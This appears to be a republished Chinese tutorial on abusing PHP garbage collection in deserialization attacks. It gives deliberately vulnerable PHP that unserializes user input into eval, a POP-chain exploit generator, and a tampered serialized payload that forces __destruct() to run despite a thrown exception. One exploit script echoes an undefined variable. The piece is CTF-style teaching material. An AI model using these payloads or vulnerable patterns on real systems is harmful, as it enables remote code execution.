iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >图文详解PHP中GC回收机制的利用
  • 631
分享到

图文详解PHP中GC回收机制的利用

2024-04-02 19:04:59 631人浏览 八月长安
摘要

目录前言简单铺垫初识GC小试牛刀总结前言 在前面讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,

前言

在前面讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?

这里就要提到一个垃圾回收机制---GC回收!!

简单铺垫

先看看这个简单的序列化,一定要先思考再看后面的答案

<?PHP
highlight_file(__FILE__);
 
class errorr{
public $rce;
public function __destruct(){
 
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
?>

很简单的一个反序列化,想办法控制$rce这个变量就可以达到命令执行的目的。

构造exp

<?php
class errorr{
public $rce = "phpinfo();";
}
 
$a = new errorr();
echo urlencode(serialize($a));
?>

如果你看完了我之前写的序列化与反序列化基础篇就只能说这个是非常简单了。

这里是因为可以用到__destruct()方法

<?php
highlight_file(__FILE__);
class errorr{
public $rce;
public function __destruct(){
        eval($rce);
}
}
 
$a = $_GET["a"];
unserialize($a);
throw new Exception("???");
?>

 如果是这样的话呢?不会的话也不用着急搞懂,我们后面慢慢说。

初识GC

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。

垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

 那接下来就演示用代码演示GC的实际工作。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
new errorr(1);
$a = new errorr(2);
$b = new errorr(3);
?>

可以猜一猜结果会是什么。

谢谢有被吃惊到(虽然我是已经知道结果的),new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。

如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct()"."</br>";
}
}
 
$c = array(new errorr(1),0);
$c[0] = $c[1];
$a = new errorr(2);
$b = new errorr(3);
?>

意料之中。

如果注销$c[0] = $c[1]呢?

可以看到,正常创建,最后销毁的。 

小试牛刀

既然知道如何利用GC了,那就看一个例题。

<?php
highlight_file(__FILE__);
error_reporting(0);
class errorr0{
public $num;
public function __destruct(){
        echo "hello __destruct";
        echo $this->num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}
 
class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}
 
$a=unserialize($_GET['url']);
throw new Exception("就这?");
 
?>

自己胡思乱想出来的题目,太简单也不要骂我哈哈哈。可能这个throw new Exception();有点突兀,这其实就是阻止__destruct()执行的抛错,学过java或者python的小伙伴应该知道。

这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp为:

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
echo serialize($c);
?>

这个exp的构造有许多方法的,根据自己喜好来,不必和我一样。

这就完了?或许有人迷惑了,如果完了那前面我说的都是在放屁,和pop没区别,所以当然还没完。如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。

重点来了,根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp

<?php
error_reporting(0);
class errorr0{
	public $num;
	public function __construct()
	{
		$this->num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

可以看出来,就加了一行代码,就是

$c = array(0=>$a,1=>NULL);

把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己试试。解释一下这串字符。

第一个a为数组,2为数组中键有两个 i = 0以及 i = 1

重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

成功拿下!!这就是GC回收机制的利用,现在返回去看开始那个铺垫我想你应该就懂了。

总结

因为讲的GC回收机制并不算深入,只是谈谈如何利用,所以如果想要深入了解的还是得自己去百度查查别人写的原理,另外就是GC回收机制的利用需要修改字符串中的数据,如果phar反序列化+GC的话就还需要额外修改phar文件的签名,如果遇到的话就需要在修改序列化字符串后再对其进行加密得到的数据替换原本的签名。

到此这篇关于PHP中GC回收机制利用的文章就介绍到这了,更多相关PHP中GC回收机制内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

 参考:浅析GC回收机制与phar反序列化 | Arsene.Tang

https://www.jb51.net/article/70851.htm

--结束END--

本文标题: 图文详解PHP中GC回收机制的利用

本文链接: https://www.lsjlt.com/news/144359.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 图文详解PHP中GC回收机制的利用
    目录前言简单铺垫初识GC小试牛刀总结前言 在前面讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,...
    99+
    2024-04-02
  • PHP中GC回收机制如何利用
    这篇文章主要介绍“PHP中GC回收机制如何利用”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP中GC回收机制如何利用”文章能帮助大家解决问题。简单铺垫先看看这个简单的序列化,一定要先思考再看后面...
    99+
    2023-06-29
  • 详解 Java性能优化和JVM GC(垃圾回收机制)
    Java的性能优化,JVM GC(垃圾回收机制)在学习Java GC 之前,我们需要记住一个单词:stop-the-world 。它会在任何一种GC算法中发生。stop-the-world 意味着JVM因为需要执行GC而停止了应用程序的执行...
    99+
    2023-06-02
  • PHP的垃圾回收机制(全网详解)
    概念: PHP的垃圾回收机制是自动的,它通过内置的垃圾回收器(Garbage Collector)来实现。当一个PHP对象不再被引用时,它就成为垃圾。垃圾回收器会定期扫描内存中的所有对象,将没有引用的对象标记为垃圾,并释放它们占用的内存空间...
    99+
    2023-09-01
    php jvm java
  • Go语言中的GC机制详解
    标题:Go语言中的GC机制详解 Go语言作为一种现代化且高效的编程语言,其垃圾回收(Garbage Collection,GC)机制一直是其亮点之一。GC机制的设计使得开发者可以更加专...
    99+
    2024-04-02
  • Java 中的垃圾回收机制详解
    目录介绍重要条款:使对象符合 GC 条件的方法请求JVM运行垃圾收集器的方式定稿总结介绍 在 C/C++ 中,程序员负责对象的创建和销毁。通常程序员会忽略无用对象的销毁。由...
    99+
    2024-04-02
  • 详解php内存管理机制与垃圾回收机制
    目录一、内存管理机制二、垃圾回收机制一、内存管理机制 先看一段代码: <?php //内存管理机制 var_dump(memory_get_usage());//获...
    99+
    2024-04-02
  • 详解JavaScript的垃圾回收机制
    目录为什么需要垃圾回收(GC)什么是垃圾回收垃圾产生垃圾回收策略引用计数标记循环引用引发的问题解决方法引用计数算法的优缺点标记清除算法核心思想标记清除算法优缺点标记整理算法V8引擎的...
    99+
    2024-04-02
  • Java的垃圾回收机制详解
    目录 1、C语言与Java语言垃圾回收区别 2、System.gc() 3、面试题引入Java垃圾回收 3.1 jvm怎么确定哪些对象应该进行回收 3.1.1 引用计数法 3.1.2 可达性分析算法  3.2 jvm会在什么时候进行垃圾回收...
    99+
    2023-09-13
    java jvm 开发语言
  • Java垃圾回收机制的示例详解
    目录一、概述二、对象已死?1.引用计数算法2.可达性分析算法3.四种引用4.生存还是死亡?5.回收方法区三、垃圾收集算法1.分代收集理论2.名词解释3.标记-清除算法4.标记-复制算...
    99+
    2024-04-02
  • PHP垃圾回收机制的一些理解
    目录垃圾回收是什么东西? PHP 的垃圾回收算法 垃圾回收对性能的影响 总结 相信只要入门学习过一点开发的同学都知道,不管任何编程语言,一个变量都会保存在内存中。其实,我们这些开发者...
    99+
    2024-04-02
  • PHP中垃圾回收机制的面试题
    这篇文章将为大家详细讲解有关PHP中垃圾回收机制的面试题,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。介绍一下PHP的垃圾回收机制PHP使用了引用计数(reference counting)GC机制,同时...
    99+
    2023-06-15
  • PHP中的垃圾回收机制是什么
    这篇文章主要讲解了“PHP中的垃圾回收机制是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“PHP中的垃圾回收机制是什么”吧!相信只要入门学习过一点开发的同学都知道,不管任何编程语言,一个...
    99+
    2023-06-20
  • 【python】python的垃圾回收机制(详细讲解)
    👉博__主👈:米码收割机 👉技__能👈:C++/Python语言 👉公众号👈:测试开发自动化...
    99+
    2023-09-03
    python java jvm
  • 详解CLR的内存分配和回收机制
    一、CLR CLR:即公共语言运行时(Common Language Runtime),是中间语言(IL)的运行时环境,负责将编译生成的MSIL编译成计算机可以识别的机器码,负责资源...
    99+
    2024-04-02
  • JVM的垃圾回收机制详解与调优
    这篇文章主要讲解了“JVM的垃圾回收机制详解与调优”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“JVM的垃圾回收机制详解与调优”吧!JVM的gc概述gc即垃圾收集机制是指jvm用于释放那些不...
    99+
    2023-06-03
  • 一文带你回顾Java中的垃圾回收机制
    目录介绍重要条款:使对象符合 GC 条件的方法请求JVM运行垃圾收集器的方式定稿让我们举一个真实的例子,在那里我们使用垃圾收集器的概念。 现在获得正确的输出: 总结介绍 在 C/C+...
    99+
    2024-04-02
  • PHP中垃圾回收机制的示例分析
    小编给大家分享一下PHP中垃圾回收机制的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!如果用过C语言,那么申请内存的方式是malloc或者是calloc,...
    99+
    2023-06-15
  • 图文详解Java中的序列化机制
    目录概述对象序列化和反序列化机制修改默认的序列化机制使用transient关键字自定义readObject、writeObject方法实现Externalizable接口serial...
    99+
    2024-04-02
  • JS中的垃圾回收机制怎么理解
    这篇“JS中的垃圾回收机制怎么理解”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“JS中的垃圾回收机制怎么理解”文章吧。基本类...
    99+
    2023-07-05
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作